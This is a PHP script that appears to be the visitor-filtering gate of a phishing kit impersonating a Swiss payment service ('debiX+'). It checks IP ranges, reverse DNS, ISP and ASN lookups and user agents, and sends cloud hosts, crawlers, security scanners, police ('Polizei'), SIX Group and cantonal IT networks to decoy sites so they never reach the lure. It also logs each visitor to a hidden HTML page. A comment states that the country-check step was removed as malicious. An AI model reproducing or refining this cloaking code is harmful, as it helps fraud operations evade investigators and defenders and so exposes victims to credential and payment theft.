<?php
// Get IP and device info
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$device = "PC";
if (strpos($userAgent, 'iPhone') !== false) {
    $device = "iPhone";
} elseif (strpos($userAgent, 'Android') !== false) {
    $device = "Android";
}

// Function to check if IP belongs to cloud providers or bots
function isBlockedProvider($ip, $userAgent) {
    // List of blocked keywords in reverse DNS
    $blocked_hosts = array(
        'amazon', 'aws', 'azure', 'microsoft', 'digitalocean', 'google', 
        'bot', 'crawler', 'spider', 'scan', 'search', 'monitor',
        'hosting', 'cloud', 'datastore', 'server', 'proxy', 'm247',
        'datacamp', 'altushost', 'cloudflare', 'six', 'polizei', 'ovh',
        'anexia', 'hydra', 'packethub', 'vianetworks'
    );
    
    // Get reverse DNS
    $hostname = gethostbyaddr($ip);
    
    // Check hostname against blocked keywords
    foreach ($blocked_hosts as $blocked) {
        if (stripos($hostname, $blocked) !== false) {
            return true;
        }
    }
    
    // Check User-Agent for bot signatures
    $blocked_agents = array(
        'bot', 'crawler', 'spider', 'scan', 'check', 'monitoring', 
        'analytics', 'http', 'python', 'curl', 'wget', 'phantom',
        'headless', 'selenium', 'chrome-lighthouse', 'pingdom'
    );
    
    foreach ($blocked_agents as $agent) {
        if (stripos($userAgent, $agent) !== false) {
            return true;
        }
    }
    
    return false;
}

// Function to check if IP belongs to blocked ISPs
function isBlockedISP($ip) {
    // List of explicitly blocked ISP names - CRITICAL PRIORITY
    $blocked_isps = array(
        'M247', // M247 Europe SRL
        'Datacamp', // Datacamp Limited
        'AltusHost', // AltusHost B.V.
        'Microsoft', // Microsoft Corporation
        'Cloudflare',
        'Google',
        'Amazon',
        'AWS',
        'DigitalOcean',
        'Azure',
        'OVH',
        'Hetzner',
        'Six', // Any ISP containing Six
        'Polizei', // Any ISP containing Polizei
        'ANEXIA', // ANEXIA Internetdienstleistungs GmbH
        'Hydra', // Hydra Communications Ltd
        'PacketHub', // PacketHub S.A.
        'VIANETWORKS' // VIANETWORKS
    );
    
    // First check if IP is in the known ranges for these providers
    // M247 Europe SRL IP ranges
    $m247_ranges = array('37.120.', '89.38.', '89.44.', '185.189.', '185.206.', '185.242.');
    // Datacamp Limited IP ranges
    $datacamp_ranges = array('169.150.', '212.102.37.', '212.102.38.');
    // AltusHost IP ranges
    $altushost_ranges = array('185.230.', '193.135.');
    // Microsoft IP ranges
    $microsoft_ranges = array('13.64.', '13.65.', '13.66.', '13.67.', '13.68.', '13.69.', '13.70.', '13.71.', 
                            '13.72.', '13.73.', '13.74.', '13.75.', '20.', '40.', '51.', '52.', '104.40.', 
                            '104.41.', '104.42.', '104.43.', '104.44.', '104.45.', '104.46.', '104.47.');
    
    // Check IP against known ranges
    foreach ($m247_ranges as $range) {
        if (strpos($ip, $range) === 0) {
            return true; // Blocked - M247 range
        }
    }
    
    foreach ($datacamp_ranges as $range) {
        if (strpos($ip, $range) === 0) {
            return true; // Blocked - Datacamp range
        }
    }
    
    foreach ($altushost_ranges as $range) {
        if (strpos($ip, $range) === 0) {
            return true; // Blocked - AltusHost range
        }
    }
    
    foreach ($microsoft_ranges as $range) {
        if (strpos($ip, $range) === 0) {
            return true; // Blocked - Microsoft range
        }
    }
    
    // Now check the ISP information from ip-api.com
    try {
        $response = @file_get_contents("http://ip-api.com/json/" . $ip);
        if ($response) {
            $data = json_decode($response, true);
            if (isset($data['isp'])) {
                $isp = strtolower($data['isp']);
                
                // Direct check for the specific ISPs you want to block
                if (strpos($isp, 'm247') !== false || 
                    strpos($isp, 'datacamp') !== false || 
                    strpos($isp, 'altushost') !== false || 
                    strpos($isp, 'microsoft') !== false || 
                    strpos($isp, 'six') !== false || 
                    strpos($isp, 'polizei') !== false || 
                    strpos($isp, 'ovh') !== false) {
                    return true;
                }
                
                // Check against all blocked ISPs
                foreach ($blocked_isps as $blocked_isp) {
                    if (stripos($isp, $blocked_isp) !== false) {
                        return true;
                    }
                }
                
                // Also check the organization field if available
                if (isset($data['org'])) {
                    $org = strtolower($data['org']);
                    
                    // Direct check for the specific organizations you want to block
                    if (strpos($org, 'm247') !== false || 
                        strpos($org, 'datacamp') !== false || 
                        strpos($org, 'altushost') !== false || 
                        strpos($org, 'microsoft') !== false || 
                        strpos($org, 'six') !== false || 
                        strpos($org, 'polizei') !== false || 
                        strpos($org, 'ovh') !== false) {
                        return true;
                    }
                    
                    // Check against all blocked ISPs
                    foreach ($blocked_isps as $blocked_isp) {
                        if (stripos($org, $blocked_isp) !== false) {
                            return true;
                        }
                    }
                }
                
                // Check ASN for known cloud/hosting providers
                if (isset($data['as'])) {
                    $as = strtolower($data['as']);
                    if (strpos($as, 'm247') !== false || 
                        strpos($as, 'datacamp') !== false || 
                        strpos($as, 'altushost') !== false || 
                        strpos($as, 'microsoft') !== false ||
                        strpos($as, 'cloud') !== false ||
                        strpos($as, 'hosting') !== false ||
                        strpos($as, 'six') !== false ||
                        strpos($as, 'polizei') !== false ||
                        strpos($as, 'ovh') !== false) {
                        return true;
                    }
                }
            }
        }
    } catch (Exception $e) {
        // If there's an error checking ISP, assume it's safe to block
        return true;
    }
    
    return false;
}

// HTML logging function
function logVisitHTML($ip, $device, $action) {
    $date = date('d/m/Y h:i:s A');
    
    // Create HTML file if it doesn't exist
    if (!file_exists('lxv.html')) {
        $initialHTML = '<!DOCTYPE html>
<html>
<head>
    <link rel="icon" href="https://ih1.redbubble.net/image.3999969553.0592/st,small,507x507-pad,600x600,f8f8f8.jpg">
    <style>
        body { background-color: #000; color: #0f0; font-family: Arial, sans-serif; font-size: 14px; }
        .container-fluid { padding: 20px; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { text-align: center; border: 1px solid #0f0; padding: 8px; }
        th { color: #00ff00; background-color: #111; }
        tr:nth-child(even) { background-color: #222; }
        tr:nth-child(odd) { background-color: #111; }
        h1 { color: #0f0; text-align: center; font-size: 1.5em; }
        .allowed { color: #0f0; }
        .blocked { color: #ff0000; }
    </style>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="robots" content="noindex,nofollow,noimageindex,noarchive,nocache,nosnippet">
    <title>ðŸ‡¨ðŸ‡­ debiX+ - 2025 - LX</title>
</head>
<body>
    <h1>ðŸ‡¨ðŸ‡­ debiX+ - VISITOR LOG - LX $$$</h1>
    <div class="container-fluid">
        <table>
            <thead>
                <tr>
                    <th>Date</th>
                    <th>Device</th>
                    <th>IP Address</th>
                    <th>Status</th>
                </tr>
            </thead>
            <tbody>';
        @file_put_contents('lxv.html', $initialHTML);
    }

    $statusClass = (strpos($action, 'allowed') !== false) ? 'allowed' : 'blocked';
    $newEntry = "
                <tr>
                    <td>$date</td>
                    <td>$device</td>
                    <td>$ip</td>
                    <td class='$statusClass'>$action</td>
                </tr>";
    @file_put_contents('lxv.html', $newEntry, FILE_APPEND);
}

// PRIORITY #1: CHECK ISP FIRST (most reliable method since IPs can change)
// Fetch geolocation details using ip-api.com for ISP information
try {
    $response = @file_get_contents("http://ip-api.com/json/" . $ip);
    if ($response) {
        $data = json_decode($response, true);
        if (!is_array($data)) {
            $data = array();
        }
        
        // ISP BLOCKING - HIGHEST PRIORITY
        if (is_array($data) && isset($data['isp'])) {
            $isp_name = $data['isp'];
            $isp_lower = strtolower($isp_name);
            
            // List of ISP keywords to block (partial matches)
            $blocked_isp_keywords = [
                'm247',
                'datacamp',
                'direction des systemes',
                'altushost',
                'microsoft',
                'cloudflare',
                'six',
                'polizei',
                'ovh',
                'cloud',
                'hosting',
                'panaglobal'
            ];
            
            // Check for ISP keyword matches
            foreach ($blocked_isp_keywords as $blocked_isp) {
                if (strpos($isp_lower, $blocked_isp) !== false) {
                    logVisitHTML($ip, $device, "blocked_isp_keyword_" . $blocked_isp);
                    header("Location: https://one-digitalservice.ch/");
                    exit();
                }
            }
            
            // List of exact ISP names to block (full matches)
            $blocked_full_isps = [
                'M247 Europe SRL',
                'Datacamp Limited',
                'Direction des Systemes d\'Information',
                'Direction des Systemes d\'Information, Etat de Vaud',
                'AltusHost B.V.',
                'Microsoft Corporation',
                'Cloudflare, Inc.',
                'Google LLC',
                'Amazon Web Services',
                'DigitalOcean, LLC',
                'OVH SAS',
                'Hetzner Online GmbH',
                'Six Group',
                'SIX',
                'Polizei',
                'M247',
                'Grupo Panaglobal 15 S.A'
            ];
            
            // Check for exact ISP name matches
            foreach ($blocked_full_isps as $isp) {
                if (stripos($isp_name, $isp) !== false) {
                    logVisitHTML($ip, $device, "blocked_isp_exact_" . $isp);
                    header("Location: https://one-digitalservice.ch/");
                    exit();
                }
            }
        }
        
        // ORGANIZATION BLOCKING - SECOND PRIORITY
        if (is_array($data) && isset($data['org'])) {
            $org_name = $data['org'];
            $org_lower = strtolower($org_name);
            
            // Check organization for blocked keywords
            $blocked_org_keywords = [
                'm247',
                'datacamp',
                'direction des systemes',
                'altushost',
                'microsoft',
                'cloudflare',
                'six',
                'polizei',
                'ovh',
                'cloud',
                'hosting'
            ];
            
            foreach ($blocked_org_keywords as $blocked_keyword) {
                if (strpos($org_lower, $blocked_keyword) !== false) {
                    logVisitHTML($ip, $device, "blocked_org_" . $blocked_keyword);
                    header("Location: https://one-digitalservice.ch/");
                    exit();
                }
            }
        }
        
        // ASN BLOCKING - THIRD PRIORITY
        if (is_array($data) && isset($data['as'])) {
            $as_name = $data['as'];
            $as_lower = strtolower($as_name);
            
            // Check ASN for blocked keywords
            $blocked_as_keywords = [
                'm247',
                'datacamp',
                'direction des systemes',
                'altushost',
                'microsoft',
                'cloudflare',
                'six',
                'polizei',
                'ovh',
                'cloud',
                'hosting'
            ];
            
            foreach ($blocked_as_keywords as $blocked_keyword) {
                if (strpos($as_lower, $blocked_keyword) !== false) {
                    logVisitHTML($ip, $device, "blocked_asn_" . $blocked_keyword);
                    header("Location: https://one-digitalservice.ch/");
                    exit();
                }
            }
        }
    }
} catch (Exception $e) {
    logVisitHTML($ip, $device, "error_checking_isp");
    header("Location: https://one-digitalservice.ch/");
    exit();
}

// PRIORITY #2: Check if IP is from cloud provider or bot
if (isBlockedProvider($ip, $userAgent)) {
    logVisitHTML($ip, $device, "blocked_bot_or_cloud");
    header("Location: https://one-digitalservice.ch/");
    exit();
}

// PRIORITY #3: Check if IP belongs to blocked ISPs (legacy function)
if (isBlockedISP($ip)) {
    logVisitHTML($ip, $device, "blocked_isp_legacy");
    header("Location: https://one-digitalservice.ch/");
    exit();
}

// PRIORITY #4: Check specific blocked IPs
$blockedIPs = [
    "51.154.50.85", "178.83.73.137", "37.143.131.202", "84.72.20.28",
    "185.230.119.166", "20.205.40.0", "20.205.58.180", "160.36.59.197",
    "81.221.214.10", "81.221.65.23", "20.203.218.75", "193.135.104.22",
    "92.106.245.21", "31.31.48.132", "212.40.1.6", "159.168.0.45",
    "85.195.233.39", "185.201.129.185", "212.40.1.4", "31.31.48.134",
    "149.88.27.84", "212.51.129.137", "51.154.223.64", "212.102.37.150",
    "107.21.207.171", "35.241.220.252", "83.79.17.201", "51.154.16.23",
    "89.186.210.189", "181.41.206.129", "212.40.1.5", "5.149.41.48",
    "194.209.222.151", "185.12.128.148", "185.188.46.2", "62.167.103.192",
    "213.55.242.55", "144.2.113.205", "85.6.163.21", "213.55.184.197",
    "213.55.220.4", "185.201.128.158", "94.228.56.21", "94.228.56.27",
    "102.129.143.77", "178.197.222.12", "31.10.155.107", "37.120.213.166",
    "193.5.248.22", "37.120.213.203", "206.232.126.240" // Added Grupo Panaglobal IP
];

// Check if IP is in blocked list
if (in_array($ip, $blockedIPs)) {
    logVisitHTML($ip, $device, "blocked_ip");
    header("Location: https://one-digitalservice.ch/");
    exit();
}

// PRIORITY #5: Check blocked IP patterns
$blockedPatterns = [
    // M247 Europe SRL ranges - CRITICAL PRIORITY
    "37.120.", "89.38.", "89.44.", "185.189.", "185.206.", "185.242.", 
    
    // Datacamp Limited ranges - CRITICAL PRIORITY
    "169.150.", "212.102.37.", "212.102.38.", 
    
    // AltusHost B.V. ranges - CRITICAL PRIORITY
    "185.230.", "193.135.", 
    
    // Microsoft Corporation ranges - CRITICAL PRIORITY
    "13.64.", "13.65.", "13.66.", "13.67.", "13.68.", "13.69.", "13.70.", "13.71.", 
    "13.72.", "13.73.", "13.74.", "13.75.", "20.", "40.", "51.", "52.", "104.40.", 
    "104.41.", "104.42.", "104.43.", "104.44.", "104.45.", "104.46.", "104.47.", 
    
    // OVH ranges - CRITICAL PRIORITY
    "51.38.", "51.68.", "51.91.", "51.195.", "51.210.", "51.254.", "54.36.", "54.37.", "54.38.", 
    "79.137.", "87.98.", "91.134.", "137.74.", "139.99.", "141.94.", "142.44.", "144.217.", 
    "147.135.", "149.56.", "158.69.", "164.132.", "167.114.", "178.32.", "188.165.", "192.95.", 
    "192.99.", "193.70.", "198.27.", "198.50.", "213.186.", "213.251.", "217.182.", 
    
    // Other cloud providers
    "31.31.48.", "138.199.59.", "138.199.", "138.",
    "34.", "35.", "54.", // AWS ranges
    "104.196.", "35.199.", // Google Cloud ranges
    "167.99.", "159.65.", // DigitalOcean ranges
    "104.28.", // Cloudflare ranges
    "172.64.", // Cloudflare ranges
    "173.245.", // Cloudflare ranges
];

// Check if IP matches blocked patterns
foreach ($blockedPatterns as $pattern) {
    if (strpos($ip, $pattern) === 0) {
        logVisitHTML($ip, $device, "blocked_pattern");
        header("Location: https://one-digitalservice.ch/");
        exit();
    }
}

// PRIORITY #6: Country check

/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/


// Log and redirect non-Swiss IPs
logVisitHTML($ip, $device, "blocked_country");
header("Location: https://six-group.com");
exit();
?>